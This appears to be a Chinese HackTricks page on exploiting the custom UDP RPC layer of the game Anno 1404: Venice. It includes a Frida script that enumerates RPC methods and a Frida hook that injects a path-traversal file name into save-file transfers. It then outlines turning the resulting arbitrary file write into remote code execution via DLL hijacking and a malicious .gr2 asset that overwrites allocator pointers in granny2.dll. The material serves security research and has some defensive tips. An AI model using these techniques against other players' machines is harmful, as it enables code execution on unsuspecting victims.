自定义 UDP RPC 枚举与文件传输滥用
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
使用 Frida 映射专有 RPC 对象
较早的多人游戏常在 UDP 之上内嵌自研的 RPC 栈。在 Anno 1404: Venice 中,这在 NetComEngine3.dll 内通过 RMC_CallMessage 调度器实现,它从每个数据报中解析出 5 个字段:
| 字段 | 用途 |
|---|---|
ID | RPC verb (16-bit) |
Flags | Transport modifiers (reliability, ordering) |
Source | Object ID of the caller |
TargetObject | Remote object instance |
Method | Method index inside the target class |
两个辅助函数——ClassToMethodName() 和 TargetName()——将原始 ID 转换为用于日志的人类可读字符串。通过 brute-forcing 24‑bit 对象 ID 和 16‑bit 方法 ID 并调用这些辅助函数,我们可以枚举整个远程可达的攻击面,而无需流量捕获或 symbol leaks。
Frida 表面枚举(简化)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
运行 `frida -l explore-surface.js Addon.exe` 发出了完整的 RPC 映射,包括 `Player` 对象 (`0x7400000`) 及其文件传输动词 `OnSendFileInit`、`OnSendFileData`、`OnReceivedFileData` 和 `OnCancelSendFile`。同样的工作流适用于任何暴露内部反射助手的二进制协议:拦截 dispatcher、brute-force IDs,并记录引擎已知的每个可调用方法的信息。
### 提示
- 使用引擎自带的日志缓冲区(本例中为 `WString::Format`)以避免重写未记录的字符串编码。
- 在尝试 fuzzing 之前 dump `Flags` 以识别可靠性特性(ACK、resend requests);自定义 UDP stacks 通常会静默丢弃格式错误的数据包。
- 保存枚举出的映射 —— 它可作为 fuzzing 语料,并能清楚显示哪些对象操作 filesystem、world state 或 in-game scripting。
## 滥用文件传输 RPCs
多人游戏存档同步使用了一个两包握手:
1. `OnSendFileInit` — 携带客户端在保存接收负载时应使用的 UTF‑16 文件名。
2. `OnSendFileData` — 以固定大小的分块流式传输原始文件内容。
因为服务器在发送之前通过 `ByteStreamWriteString()` 序列化文件名,所以可以在 Frida hook 中替换指向 traversal payload 的指针,同时保持数据包大小不变。
<details>
<summary>文件名替换器</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
受害客户端没有做任何清理,直接将接收到的保存写入到恶意主机提供的任意路径,例如写入到 C:\User\user 而不是预期的 ...\Savegames\MPShare 目录。在 Windows 上的 Anno 1404 安装目录对所有用户可写,因此该遍历立刻变成了任意文件写入原语:
- Drop DLLs 以便在下次启动时进行 classic search-order hijacking,或
- Overwrite asset archives (RDA files),使 weaponized 的模型、纹理或脚本在同一会话中被实时加载。
防御 / 攻击 其他 目标
- 搜索名为
SendFile、Upload、ShareSave等的 RPC 动词,然后拦截负责文件名或目标目录序列化的 helper。 - 即使文件名进行了长度检查,许多堆栈仍然忘记对
..\或混合的/与\序列进行规范化;brute-force 所有分隔符。 - 当接收方将文件存储在游戏安装路径下时,通过
icacls检查 ACLs,以确认非特权用户是否能在那儿放置代码。
将路径遍历转为实时资产执行
一旦能上传任意字节,就替换任何被频繁加载的资产:
- Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with
srand(0xA2C2A)seeded streams. Tools like RDAExplorer re-pack archives after edits. - Inject a malicious
.gr2. 被特洛伊化的 Granny 3D 文件携带了一个重定位漏洞,它覆盖了SectionContentArray,并通过一个两阶段的重定位序列在granny2.dll内部获得任意的 4 字节写入。 - Hijack allocator callbacks. 在 ASLR 被禁用且 DEP 关闭的情况下,替换
granny2.dll中的malloc/free函数指针会将下一次分配重定向到你的 shellcode,从而立刻获得 RCE,而无需等待受害者重启游戏。
这一模式可推广到任何从二进制归档流式加载结构化资产的游戏:结合 RPC 级别的遍历用于投递和不安全的重定位解析用于代码执行。
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

